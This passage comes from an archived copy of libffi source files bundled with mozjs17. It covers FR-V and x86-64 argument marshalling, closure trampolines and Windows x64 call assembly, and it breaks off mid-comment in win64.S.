int)*(UINT8 *)(* p_argv); break; case FFI_TYPE_SINT16: *(signed int *) argp = (signed int)*(SINT16 *)(* p_argv); break; case FFI_TYPE_UINT16: *(unsigned int *) argp = (unsigned int)*(UINT16 *)(* p_argv); break; default: FFI_ASSERT(0); } } else if (z == sizeof(int)) { *(unsigned int *) argp = (unsigned int)*(UINT32 *)(* p_argv); } else { memcpy(argp, *p_argv, z); } p_argv++; argp += z; count += z; } return (stack + ((count > 24) ? 24 : ALIGN_DOWN(count, 8))); } /* Perform machine dependent cif processing */ ffi_status ffi_prep_cif_machdep(ffi_cif *cif) { if (cif->rtype->type == FFI_TYPE_STRUCT) cif->flags = -1; else cif->flags = cif->rtype->size; cif->bytes = ALIGN (cif->bytes, 8); return FFI_OK; } extern void ffi_call_EABI(void *(*)(char *, extended_cif *), extended_cif *, unsigned, unsigned, unsigned *, void (*fn)(void)); void ffi_call(ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { extended_cif ecif; ecif.cif = cif; ecif.avalue = avalue; /* If the return value is a struct and we don't have a return */ /* value address then we need to make one */ if ((rvalue == NULL) && (cif->rtype->type == FFI_TYPE_STRUCT)) { ecif.rvalue = alloca(cif->rtype->size); } else ecif.rvalue = rvalue; switch (cif->abi) { case FFI_EABI: ffi_call_EABI(ffi_prep_args, &ecif, cif->bytes, cif->flags, ecif.rvalue, fn); break; default: FFI_ASSERT(0); break; } } void ffi_closure_eabi (unsigned arg1, unsigned arg2, unsigned arg3, unsigned arg4, unsigned arg5, unsigned arg6) { /* This function is called by a trampoline. The trampoline stows a pointer to the ffi_closure object in gr7. We must save this pointer in a place that will persist while we do our work. */ register ffi_closure *creg __asm__ ("gr7"); ffi_closure *closure = creg; /* Arguments that don't fit in registers are found on the stack at a fixed offset above the current frame pointer. */ register char *frame_pointer __asm__ ("fp"); char *stack_args = frame_pointer + 16; /* Lay the register arguments down in a continuous chunk of memory. */ unsigned register_args[6] = { arg1, arg2, arg3, arg4, arg5, arg6 }; ffi_cif *cif = closure->cif; ffi_type **arg_types = cif->arg_types; void **avalue = alloca (cif->nargs * sizeof(void *)); char *ptr = (char *) register_args; int i; /* Find the address of each argument. */ for (i = 0; i < cif->nargs; i++) { switch (arg_types[i]->type) { case FFI_TYPE_SINT8: case FFI_TYPE_UINT8: avalue[i] = ptr + 3; break; case FFI_TYPE_SINT16: case FFI_TYPE_UINT16: avalue[i] = ptr + 2; break; case FFI_TYPE_SINT32: case FFI_TYPE_UINT32: case FFI_TYPE_FLOAT: avalue[i] = ptr; break; case FFI_TYPE_STRUCT: avalue[i] = *(void**)ptr; break; default: /* This is an 8-byte value. */ avalue[i] = ptr; ptr += 4; break; } ptr += 4; /* If we've handled more arguments than fit in registers, start looking at the those passed on the stack. */ if (ptr == ((char *)register_args + (6*4))) ptr = stack_args; } /* Invoke the closure. */ if (cif->rtype->type == FFI_TYPE_STRUCT) { /* The caller allocates space for the return structure, and passes a pointer to this space in gr3. Use this value directly as the return value. */ register void *return_struct_ptr __asm__("gr3"); (closure->fun) (cif, return_struct_ptr, avalue, closure->user_data); } else { /* Allocate space for the return value and call the function. */ long long rvalue; (closure->fun) (cif, &rvalue, avalue, closure->user_data); /* Functions return 4-byte or smaller results in gr8. 8-byte values also use gr9. We fill the both, even for small return values, just to avoid a branch. */ asm ("ldi @(%0, #0), gr8" : : "r" (&rvalue)); asm ("ldi @(%0, #0), gr9" : : "r" (&((int *) &rvalue)[1])); } } ffi_status ffi_prep_closure_loc (ffi_closure* closure, ffi_cif* cif, void (*fun)(ffi_cif*, void*, void**, void*), void *user_data, void *codeloc) { unsigned int *tramp = (unsigned int *) &closure->tramp[0]; unsigned long fn = (long) ffi_closure_eabi; unsigned long cls = (long) codeloc; #ifdef __FRV_FDPIC__ register void *got __asm__("gr15"); #endif int i; fn = (unsigned long) ffi_closure_eabi; #ifdef __FRV_FDPIC__ tramp[0] = &((unsigned int *)codeloc)[2]; tramp[1] = got; tramp[2] = 0x8cfc0000 + (fn & 0xffff); /* setlos lo(fn), gr6 */ tramp[3] = 0x8efc0000 + (cls & 0xffff); /* setlos lo(cls), gr7 */ tramp[4] = 0x8cf80000 + (fn >> 16); /* sethi hi(fn), gr6 */ tramp[5] = 0x8ef80000 + (cls >> 16); /* sethi hi(cls), gr7 */ tramp[6] = 0x9cc86000; /* ldi @(gr6, #0), gr14 */ tramp[7] = 0x8030e000; /* jmpl @(gr14, gr0) */ #else tramp[0] = 0x8cfc0000 + (fn & 0xffff); /* setlos lo(fn), gr6 */ tramp[1] = 0x8efc0000 + (cls & 0xffff); /* setlos lo(cls), gr7 */ tramp[2] = 0x8cf80000 + (fn >> 16); /* sethi hi(fn), gr6 */ tramp[3] = 0x8ef80000 + (cls >> 16); /* sethi hi(cls), gr7 */ tramp[4] = 0x80300006; /* jmpl @(gr0, gr6) */ #endif closure->cif = cif; closure->fun = fun; closure->user_data = user_data; /* Cache flushing. */ for (i = 0; i < FFI_TRAMPOLINE_SIZE; i++) __asm__ volatile ("dcf @(%0,%1)\n\tici @(%2,%1)" :: "r" (tramp), "r" (i), "r" (codeloc)); return FFI_OK; } mozjs17.0.0/js/src/ctypes/libffi/src/frv/eabi.S0000664000175000017500000000652612106270662021166 0ustar sstanglsstangl/* ----------------------------------------------------------------------- eabi.S - Copyright (c) 2004 Anthony Green FR-V Assembly glue. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include .globl ffi_prep_args_EABI .text .p2align 4 .globl ffi_call_EABI .type ffi_call_EABI, @function # gr8 : ffi_prep_args # gr9 : &ecif # gr10: cif->bytes # gr11: fig->flags # gr12: ecif.rvalue # gr13: fn ffi_call_EABI: addi sp, #-80, sp sti fp, @(sp, #24) addi sp, #24, fp movsg lr, gr5 /* Make room for the new arguments. */ /* subi sp, fp, gr10 */ /* Store return address and incoming args on stack. */ sti gr5, @(fp, #8) sti gr8, @(fp, #-4) sti gr9, @(fp, #-8) sti gr10, @(fp, #-12) sti gr11, @(fp, #-16) sti gr12, @(fp, #-20) sti gr13, @(fp, #-24) sub sp, gr10, sp /* Call ffi_prep_args. */ ldi @(fp, #-4), gr4 addi sp, #0, gr8 ldi @(fp, #-8), gr9 #ifdef __FRV_FDPIC__ ldd @(gr4, gr0), gr14 calll @(gr14, gr0) #else calll @(gr4, gr0) #endif /* ffi_prep_args returns the new stack pointer. */ mov gr8, gr4 ldi @(sp, #0), gr8 ldi @(sp, #4), gr9 ldi @(sp, #8), gr10 ldi @(sp, #12), gr11 ldi @(sp, #16), gr12 ldi @(sp, #20), gr13 /* Always copy the return value pointer into the hidden parameter register. This is only strictly necessary when we're returning an aggregate type, but it doesn't hurt to do this all the time, and it saves a branch. */ ldi @(fp, #-20), gr3 /* Use the ffi_prep_args return value for the new sp. */ mov gr4, sp /* Call the target function. */ ldi @(fp, -24), gr4 #ifdef __FRV_FDPIC__ ldd @(gr4, gr0), gr14 calll @(gr14, gr0) #else calll @(gr4, gr0) #endif /* Store the result. */ ldi @(fp, #-16), gr10 /* fig->flags */ ldi @(fp, #-20), gr4 /* ecif.rvalue */ /* Is the return value stored in two registers? */ cmpi gr10, #8, icc0 bne icc0, 0, .L2 /* Yes, save them. */ sti gr8, @(gr4, #0) sti gr9, @(gr4, #4) bra .L3 .L2: /* Is the return value a structure? */ cmpi gr10, #-1, icc0 beq icc0, 0, .L3 /* No, save a 4 byte return value. */ sti gr8, @(gr4, #0) .L3: /* Restore the stack, and return. */ ldi @(fp, 8), gr5 ld @(fp, gr0), fp addi sp,#80,sp jmpl @(gr5,gr0) .size ffi_call_EABI, .-ffi_call_EABI mozjs17.0.0/js/src/ctypes/libffi/src/x86/0000775000175000017500000000000012106270662017761 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/x86/ffi64.c0000664000175000017500000004171412106270662021052 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi64.c - Copyright (c) 2002, 2007 Bo Thorsen Copyright (c) 2008 Red Hat, Inc. x86-64 Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include #include #ifdef __x86_64__ #define MAX_GPR_REGS 6 #define MAX_SSE_REGS 8 struct register_args { /* Registers for argument passing. */ UINT64 gpr[MAX_GPR_REGS]; __int128_t sse[MAX_SSE_REGS]; }; extern void ffi_call_unix64 (void *args, unsigned long bytes, unsigned flags, void *raddr, void (*fnaddr)(void), unsigned ssecount); /* All reference to register classes here is identical to the code in gcc/config/i386/i386.c. Do *not* change one without the other. */ /* Register class used for passing given 64bit part of the argument. These represent classes as documented by the PS ABI, with the exception of SSESF, SSEDF classes, that are basically SSE class, just gcc will use SF or DFmode move instead of DImode to avoid reformatting penalties. Similary we play games with INTEGERSI_CLASS to use cheaper SImode moves whenever possible (upper half does contain padding). */ enum x86_64_reg_class { X86_64_NO_CLASS, X86_64_INTEGER_CLASS, X86_64_INTEGERSI_CLASS, X86_64_SSE_CLASS, X86_64_SSESF_CLASS, X86_64_SSEDF_CLASS, X86_64_SSEUP_CLASS, X86_64_X87_CLASS, X86_64_X87UP_CLASS, X86_64_COMPLEX_X87_CLASS, X86_64_MEMORY_CLASS }; #define MAX_CLASSES 4 #define SSE_CLASS_P(X) ((X) >= X86_64_SSE_CLASS && X <= X86_64_SSEUP_CLASS) /* x86-64 register passing implementation. See x86-64 ABI for details. Goal of this code is to classify each 8bytes of incoming argument by the register class and assign registers accordingly. */ /* Return the union class of CLASS1 and CLASS2. See the x86-64 PS ABI for details. */ static enum x86_64_reg_class merge_classes (enum x86_64_reg_class class1, enum x86_64_reg_class class2) { /* Rule #1: If both classes are equal, this is the resulting class. */ if (class1 == class2) return class1; /* Rule #2: If one of the classes is NO_CLASS, the resulting class is the other class. */ if (class1 == X86_64_NO_CLASS) return class2; if (class2 == X86_64_NO_CLASS) return class1; /* Rule #3: If one of the classes is MEMORY, the result is MEMORY. */ if (class1 == X86_64_MEMORY_CLASS || class2 == X86_64_MEMORY_CLASS) return X86_64_MEMORY_CLASS; /* Rule #4: If one of the classes is INTEGER, the result is INTEGER. */ if ((class1 == X86_64_INTEGERSI_CLASS && class2 == X86_64_SSESF_CLASS) || (class2 == X86_64_INTEGERSI_CLASS && class1 == X86_64_SSESF_CLASS)) return X86_64_INTEGERSI_CLASS; if (class1 == X86_64_INTEGER_CLASS || class1 == X86_64_INTEGERSI_CLASS || class2 == X86_64_INTEGER_CLASS || class2 == X86_64_INTEGERSI_CLASS) return X86_64_INTEGER_CLASS; /* Rule #5: If one of the classes is X87, X87UP, or COMPLEX_X87 class, MEMORY is used. */ if (class1 == X86_64_X87_CLASS || class1 == X86_64_X87UP_CLASS || class1 == X86_64_COMPLEX_X87_CLASS || class2 == X86_64_X87_CLASS || class2 == X86_64_X87UP_CLASS || class2 == X86_64_COMPLEX_X87_CLASS) return X86_64_MEMORY_CLASS; /* Rule #6: Otherwise class SSE is used. */ return X86_64_SSE_CLASS; } /* Classify the argument of type TYPE and mode MODE. CLASSES will be filled by the register class used to pass each word of the operand. The number of words is returned. In case the parameter should be passed in memory, 0 is returned. As a special case for zero sized containers, classes[0] will be NO_CLASS and 1 is returned. See the x86-64 PS ABI for details. */ static int classify_argument (ffi_type *type, enum x86_64_reg_class classes[], size_t byte_offset) { switch (type->type) { case FFI_TYPE_UINT8: case FFI_TYPE_SINT8: case FFI_TYPE_UINT16: case FFI_TYPE_SINT16: case FFI_TYPE_UINT32: case FFI_TYPE_SINT32: case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: case FFI_TYPE_POINTER: { int size = byte_offset + type->size; if (size <= 4) { classes[0] = X86_64_INTEGERSI_CLASS; return 1; } else if (size <= 8) { classes[0] = X86_64_INTEGER_CLASS; return 1; } else if (size <= 12) { classes[0] = X86_64_INTEGER_CLASS; classes[1] = X86_64_INTEGERSI_CLASS; return 2; } else if (size <= 16) { classes[0] = classes[1] = X86_64_INTEGERSI_CLASS; return 2; } else FFI_ASSERT (0); } case FFI_TYPE_FLOAT: if (!(byte_offset % 8)) classes[0] = X86_64_SSESF_CLASS; else classes[0] = X86_64_SSE_CLASS; return 1; case FFI_TYPE_DOUBLE: classes[0] = X86_64_SSEDF_CLASS; return 1; case FFI_TYPE_LONGDOUBLE: classes[0] = X86_64_X87_CLASS; classes[1] = X86_64_X87UP_CLASS; return 2; case FFI_TYPE_STRUCT: { const int UNITS_PER_WORD = 8; int words = (type->size + UNITS_PER_WORD - 1) / UNITS_PER_WORD; ffi_type **ptr; int i; enum x86_64_reg_class subclasses[MAX_CLASSES]; /* If the struct is larger than 32 bytes, pass it on the stack. */ if (type->size > 32) return 0; for (i = 0; i < words; i++) classes[i] = X86_64_NO_CLASS; /* Zero sized arrays or structures are NO_CLASS. We return 0 to signalize memory class, so handle it as special case. */ if (!words) { classes[0] = X86_64_NO_CLASS; return 1; } /* Merge the fields of structure. */ for (ptr = type->elements; *ptr != NULL; ptr++) { int num; byte_offset = ALIGN (byte_offset, (*ptr)->alignment); num = classify_argument (*ptr, subclasses, byte_offset % 8); if (num == 0) return 0; for (i = 0; i < num; i++) { int pos = byte_offset / 8; classes[i + pos] = merge_classes (subclasses[i], classes[i + pos]); } byte_offset += (*ptr)->size; } if (words > 2) { /* When size > 16 bytes, if the first one isn't X86_64_SSE_CLASS or any other ones aren't X86_64_SSEUP_CLASS, everything should be passed in memory. */ if (classes[0] != X86_64_SSE_CLASS) return 0; for (i = 1; i < words; i++) if (classes[i] != X86_64_SSEUP_CLASS) return 0; } /* Final merger cleanup. */ for (i = 0; i < words; i++) { /* If one class is MEMORY, everything should be passed in memory. */ if (classes[i] == X86_64_MEMORY_CLASS) return 0; /* The X86_64_SSEUP_CLASS should be always preceded by X86_64_SSE_CLASS or X86_64_SSEUP_CLASS. */ if (classes[i] == X86_64_SSEUP_CLASS && classes[i - 1] != X86_64_SSE_CLASS && classes[i - 1] != X86_64_SSEUP_CLASS) { /* The first one should never be X86_64_SSEUP_CLASS. */ FFI_ASSERT (i != 0); classes[i] = X86_64_SSE_CLASS; } /* If X86_64_X87UP_CLASS isn't preceded by X86_64_X87_CLASS, everything should be passed in memory. */ if (classes[i] == X86_64_X87UP_CLASS && (classes[i - 1] != X86_64_X87_CLASS)) { /* The first one should never be X86_64_X87UP_CLASS. */ FFI_ASSERT (i != 0); return 0; } } return words; } default: FFI_ASSERT(0); } return 0; /* Never reached. */ } /* Examine the argument and return set number of register required in each class. Return zero iff parameter should be passed in memory, otherwise the number of registers. */ static int examine_argument (ffi_type *type, enum x86_64_reg_class classes[MAX_CLASSES], _Bool in_return, int *pngpr, int *pnsse) { int i, n, ngpr, nsse; n = classify_argument (type, classes, 0); if (n == 0) return 0; ngpr = nsse = 0; for (i = 0; i < n; ++i) switch (classes[i]) { case X86_64_INTEGER_CLASS: case X86_64_INTEGERSI_CLASS: ngpr++; break; case X86_64_SSE_CLASS: case X86_64_SSESF_CLASS: case X86_64_SSEDF_CLASS: nsse++; break; case X86_64_NO_CLASS: case X86_64_SSEUP_CLASS: break; case X86_64_X87_CLASS: case X86_64_X87UP_CLASS: case X86_64_COMPLEX_X87_CLASS: return in_return != 0; default: abort (); } *pngpr = ngpr; *pnsse = nsse; return n; } /* Perform machine dependent cif processing. */ ffi_status ffi_prep_cif_machdep (ffi_cif *cif) { int gprcount, ssecount, i, avn, n, ngpr, nsse, flags; enum x86_64_reg_class classes[MAX_CLASSES]; size_t bytes; gprcount = ssecount = 0; flags = cif->rtype->type; if (flags != FFI_TYPE_VOID) { n = examine_argument (cif->rtype, classes, 1, &ngpr, &nsse); if (n == 0) { /* The return value is passed in memory. A pointer to that memory is the first argument. Allocate a register for it. */ gprcount++; /* We don't have to do anything in asm for the return. */ flags = FFI_TYPE_VOID; } else if (flags == FFI_TYPE_STRUCT) { /* Mark which registers the result appears in. */ _Bool sse0 = SSE_CLASS_P (classes[0]); _Bool sse1 = n == 2 && SSE_CLASS_P (classes[1]); if (sse0 && !sse1) flags |= 1 << 8; else if (!sse0 && sse1) flags |= 1 << 9; else if (sse0 && sse1) flags |= 1 << 10; /* Mark the true size of the structure. */ flags |= cif->rtype->size << 12; } } /* Go over all arguments and determine the way they should be passed. If it's in a register and there is space for it, let that be so. If not, add it's size to the stack byte count. */ for (bytes = 0, i = 0, avn = cif->nargs; i < avn; i++) { if (examine_argument (cif->arg_types[i], classes, 0, &ngpr, &nsse) == 0 || gprcount + ngpr > MAX_GPR_REGS || ssecount + nsse > MAX_SSE_REGS) { long align = cif->arg_types[i]->alignment; if (align < 8) align = 8; bytes = ALIGN (bytes, align); bytes += cif->arg_types[i]->size; } else { gprcount += ngpr; ssecount += nsse; } } if (ssecount) flags |= 1 << 11; cif->flags = flags; cif->bytes = ALIGN (bytes, 8); return FFI_OK; } void ffi_call (ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { enum x86_64_reg_class classes[MAX_CLASSES]; char *stack, *argp; ffi_type **arg_types; int gprcount, ssecount, ngpr, nsse, i, avn; _Bool ret_in_memory; struct register_args *reg_args; /* Can't call 32-bit mode from 64-bit mode. */ FFI_ASSERT (cif->abi == FFI_UNIX64); /* If the return value is a struct and we don't have a return value address then we need to make one. Note the setting of flags to VOID above in ffi_prep_cif_machdep. */ ret_in_memory = (cif->rtype->type == FFI_TYPE_STRUCT && (cif->flags & 0xff) == FFI_TYPE_VOID); if (rvalue == NULL && ret_in_memory) rvalue = alloca (cif->rtype->size); /* Allocate the space for the arguments, plus 4 words of temp space. */ stack = alloca (sizeof (struct register_args) + cif->bytes + 4*8); reg_args = (struct register_args *) stack; argp = stack + sizeof (struct register_args); gprcount = ssecount = 0; /* If the return value is passed in memory, add the pointer as the first integer argument. */ if (ret_in_memory) reg_args->gpr[gprcount++] = (long) rvalue; avn = cif->nargs; arg_types = cif->arg_types; for (i = 0; i < avn; ++i) { size_t size = arg_types[i]->size; int n; n = examine_argument (arg_types[i], classes, 0, &ngpr, &nsse); if (n == 0 || gprcount + ngpr > MAX_GPR_REGS || ssecount + nsse > MAX_SSE_REGS) { long align = arg_types[i]->alignment; /* Stack arguments are *always* at least 8 byte aligned. */ if (align < 8) align = 8; /* Pass this argument in memory. */ argp = (void *) ALIGN (argp, align); memcpy (argp, avalue[i], size); argp += size; } else { /* The argument is passed entirely in registers. */ char *a = (char *) avalue[i]; int j; for (j = 0; j < n; j++, a += 8, size -= 8) { switch (classes[j]) { case X86_64_INTEGER_CLASS: case X86_64_INTEGERSI_CLASS: reg_args->gpr[gprcount] = 0; memcpy (®_args->gpr[gprcount], a, size < 8 ? size : 8); gprcount++; break; case X86_64_SSE_CLASS: case X86_64_SSEDF_CLASS: reg_args->sse[ssecount++] = *(UINT64 *) a; break; case X86_64_SSESF_CLASS: reg_args->sse[ssecount++] = *(UINT32 *) a; break; default: abort(); } } } } ffi_call_unix64 (stack, cif->bytes + sizeof (struct register_args), cif->flags, rvalue, fn, ssecount); } extern void ffi_closure_unix64(void); ffi_status ffi_prep_closure_loc (ffi_closure* closure, ffi_cif* cif, void (*fun)(ffi_cif*, void*, void**, void*), void *user_data, void *codeloc) { volatile unsigned short *tramp; tramp = (volatile unsigned short *) &closure->tramp[0]; tramp[0] = 0xbb49; /* mov , %r11 */ *(void * volatile *) &tramp[1] = ffi_closure_unix64; tramp[5] = 0xba49; /* mov , %r10 */ *(void * volatile *) &tramp[6] = codeloc; /* Set the carry bit iff the function uses any sse registers. This is clc or stc, together with the first byte of the jmp. */ tramp[10] = cif->flags & (1 << 11) ? 0x49f9 : 0x49f8; tramp[11] = 0xe3ff; /* jmp *%r11 */ closure->cif = cif; closure->fun = fun; closure->user_data = user_data; return FFI_OK; } int ffi_closure_unix64_inner(ffi_closure *closure, void *rvalue, struct register_args *reg_args, char *argp) { ffi_cif *cif; void **avalue; ffi_type **arg_types; long i, avn; int gprcount, ssecount, ngpr, nsse; int ret; cif = closure->cif; avalue = alloca(cif->nargs * sizeof(void *)); gprcount = ssecount = 0; ret = cif->rtype->type; if (ret != FFI_TYPE_VOID) { enum x86_64_reg_class classes[MAX_CLASSES]; int n = examine_argument (cif->rtype, classes, 1, &ngpr, &nsse); if (n == 0) { /* The return value goes in memory. Arrange for the closure return value to go directly back to the original caller. */ rvalue = (void *) reg_args->gpr[gprcount++]; /* We don't have to do anything in asm for the return. */ ret = FFI_TYPE_VOID; } else if (ret == FFI_TYPE_STRUCT && n == 2) { /* Mark which register the second word of the structure goes in. */ _Bool sse0 = SSE_CLASS_P (classes[0]); _Bool sse1 = SSE_CLASS_P (classes[1]); if (!sse0 && sse1) ret |= 1 << 8; else if (sse0 && !sse1) ret |= 1 << 9; } } avn = cif->nargs; arg_types = cif->arg_types; for (i = 0; i < avn; ++i) { enum x86_64_reg_class classes[MAX_CLASSES]; int n; n = examine_argument (arg_types[i], classes, 0, &ngpr, &nsse); if (n == 0 || gprcount + ngpr > MAX_GPR_REGS || ssecount + nsse > MAX_SSE_REGS) { long align = arg_types[i]->alignment; /* Stack arguments are *always* at least 8 byte aligned. */ if (align < 8) align = 8; /* Pass this argument in memory. */ argp = (void *) ALIGN (argp, align); avalue[i] = argp; argp += arg_types[i]->size; } /* If the argument is in a single register, or two consecutive integer registers, then we can use that address directly. */ else if (n == 1 || (n == 2 && !(SSE_CLASS_P (classes[0]) || SSE_CLASS_P (classes[1])))) { /* The argument is in a single register. */ if (SSE_CLASS_P (classes[0])) { avalue[i] = ®_args->sse[ssecount]; ssecount += n; } else { avalue[i] = ®_args->gpr[gprcount]; gprcount += n; } } /* Otherwise, allocate space to make them consecutive. */ else { char *a = alloca (16); int j; avalue[i] = a; for (j = 0; j < n; j++, a += 8) { if (SSE_CLASS_P (classes[j])) memcpy (a, ®_args->sse[ssecount++], 8); else memcpy (a, ®_args->gpr[gprcount++], 8); } } } /* Invoke the closure. */ closure->fun (cif, rvalue, avalue, closure->user_data); /* Tell assembly how to perform return type promotions. */ return ret; } #endif /* __x86_64__ */ mozjs17.0.0/js/src/ctypes/libffi/src/x86/win64.S0000664000175000017500000002216712106270662021064 0ustar sstanglsstangl#define LIBFFI_ASM #include #include /* Constants for ffi_call_win64 */ #define STACK 0 #define PREP_ARGS_FN 32 #define ECIF 40 #define CIF_BYTES 48 #define CIF_FLAGS 56 #define RVALUE 64 #define FN 72 /* ffi_call_win64 (void (*prep_args_fn)(char *, extended_cif *), extended_cif *ecif, unsigned bytes, unsigned flags, unsigned *rvalue, void (*fn)()); */ #ifdef _MSC_VER PUBLIC ffi_call_win64 EXTRN __chkstk:NEAR EXTRN ffi_closure_win64_inner:NEAR _TEXT SEGMENT ;;; ffi_closure_win64 will be called with these registers set: ;;; rax points to 'closure' ;;; r11 contains a bit mask that specifies which of the ;;; first four parameters are float or double ;;; ;;; It must move the parameters passed in registers to their stack location, ;;; call ffi_closure_win64_inner for the actual work, then return the result. ;;; ffi_closure_win64 PROC FRAME ;; copy register arguments onto stack test r11, 1 jne first_is_float mov QWORD PTR [rsp+8], rcx jmp second first_is_float: movlpd QWORD PTR [rsp+8], xmm0 second: test r11, 2 jne second_is_float mov QWORD PTR [rsp+16], rdx jmp third second_is_float: movlpd QWORD PTR [rsp+16], xmm1 third: test r11, 4 jne third_is_float mov QWORD PTR [rsp+24], r8 jmp fourth third_is_float: movlpd QWORD PTR [rsp+24], xmm2 fourth: test r11, 8 jne fourth_is_float mov QWORD PTR [rsp+32], r9 jmp done fourth_is_float: movlpd QWORD PTR [rsp+32], xmm3 done: .ALLOCSTACK 40 sub rsp, 40 .ENDPROLOG mov rcx, rax ; context is first parameter mov rdx, rsp ; stack is second parameter add rdx, 48 ; point to start of arguments mov rax, ffi_closure_win64_inner call rax ; call the real closure function add rsp, 40 movd xmm0, rax ; If the closure returned a float, ; ffi_closure_win64_inner wrote it to rax ret 0 ffi_closure_win64 ENDP ffi_call_win64 PROC FRAME ;; copy registers onto stack mov QWORD PTR [rsp+32], r9 mov QWORD PTR [rsp+24], r8 mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+8], rcx .PUSHREG rbp push rbp .ALLOCSTACK 48 sub rsp, 48 ; 00000030H .SETFRAME rbp, 32 lea rbp, QWORD PTR [rsp+32] .ENDPROLOG mov eax, DWORD PTR CIF_BYTES[rbp] add rax, 15 and rax, -16 call __chkstk sub rsp, rax lea rax, QWORD PTR [rsp+32] mov QWORD PTR STACK[rbp], rax mov rdx, QWORD PTR ECIF[rbp] mov rcx, QWORD PTR STACK[rbp] call QWORD PTR PREP_ARGS_FN[rbp] mov rsp, QWORD PTR STACK[rbp] movlpd xmm3, QWORD PTR [rsp+24] movd r9, xmm3 movlpd xmm2, QWORD PTR [rsp+16] movd r8, xmm2 movlpd xmm1, QWORD PTR [rsp+8] movd rdx, xmm1 movlpd xmm0, QWORD PTR [rsp] movd rcx, xmm0 call QWORD PTR FN[rbp] ret_struct4b$: cmp DWORD PTR CIF_FLAGS[rbp], FFI_TYPE_SMALL_STRUCT_4B jne ret_struct2b$ mov rcx, QWORD PTR RVALUE[rbp] mov DWORD PTR [rcx], eax jmp ret_void$ ret_struct2b$: cmp DWORD PTR CIF_FLAGS[rbp], FFI_TYPE_SMALL_STRUCT_2B jne ret_struct1b$ mov rcx, QWORD PTR RVALUE[rbp] mov WORD PTR [rcx], ax jmp ret_void$ ret_struct1b$: cmp DWORD PTR CIF_FLAGS[rbp], FFI_TYPE_SMALL_STRUCT_1B jne ret_uint8$ mov rcx, QWORD PTR RVALUE[rbp] mov BYTE PTR [rcx], al jmp ret_void$ ret_uint8$: cmp DWORD PTR CIF_FLAGS[rbp], FFI_TYPE_UINT8 jne ret_sint8$ mov rcx, QWORD PTR RVALUE[rbp] movzx rax, al mov QWORD PTR [rcx], rax jmp ret_void$ ret_sint8$: cmp DWORD PTR CIF_FLAGS[rbp], FFI_TYPE_SINT8 jne ret_uint16$ mov rcx, QWORD PTR RVALUE[rbp] movsx rax, al mov QWORD PTR [rcx], rax jmp ret_void$ ret_uint16$: cmp DWORD PTR CIF_FLAGS[rbp], FFI_TYPE_UINT16 jne ret_sint16$ mov rcx, QWORD PTR RVALUE[rbp] movzx rax, ax mov QWORD PTR [rcx], rax jmp SHORT ret_void$ ret_sint16$: cmp DWORD PTR CIF_FLAGS[rbp], FFI_TYPE_SINT16 jne ret_uint32$ mov rcx, QWORD PTR RVALUE[rbp] movsx rax, ax mov QWORD PTR [rcx], rax jmp SHORT ret_void$ ret_uint32$: cmp DWORD PTR CIF_FLAGS[rbp], FFI_TYPE_UINT32 jne ret_sint32$ mov rcx, QWORD PTR RVALUE[rbp] mov eax, eax mov QWORD PTR [rcx], rax jmp SHORT ret_void$ ret_sint32$: cmp DWORD PTR CIF_FLAGS[rbp], FFI_TYPE_SINT32 jne ret_float$ mov rcx, QWORD PTR RVALUE[rbp] cdqe mov QWORD PTR [rcx], rax jmp SHORT ret_void$ ret_float$: cmp DWORD PTR CIF_FLAGS[rbp], FFI_TYPE_FLOAT jne SHORT ret_double$ mov rax, QWORD PTR RVALUE[rbp] movss DWORD PTR [rax], xmm0 jmp SHORT ret_void$ ret_double$: cmp DWORD PTR CIF_FLAGS[rbp], FFI_TYPE_DOUBLE jne SHORT ret_sint64$ mov rax, QWORD PTR RVALUE[rbp] movlpd QWORD PTR [rax], xmm0 jmp SHORT ret_void$ ret_sint64$: cmp DWORD PTR CIF_FLAGS[rbp], FFI_TYPE_SINT64 jne ret_void$ mov rcx, QWORD PTR RVALUE[rbp] mov QWORD PTR [rcx], rax jmp SHORT ret_void$ ret_void$: xor rax, rax lea rsp, QWORD PTR [rbp+16] pop rbp ret 0 ffi_call_win64 ENDP _TEXT ENDS END #else #ifdef SYMBOL_UNDERSCORE #define SYMBOL_NAME(name) _##name #else #define SYMBOL_NAME(name) name #endif .text .extern SYMBOL_NAME(ffi_closure_win64_inner) # ffi_closure_win64 will be called with these registers set: # rax points to 'closure' # r11 contains a bit mask that specifies which of the # first four parameters are float or double # # It must move the parameters 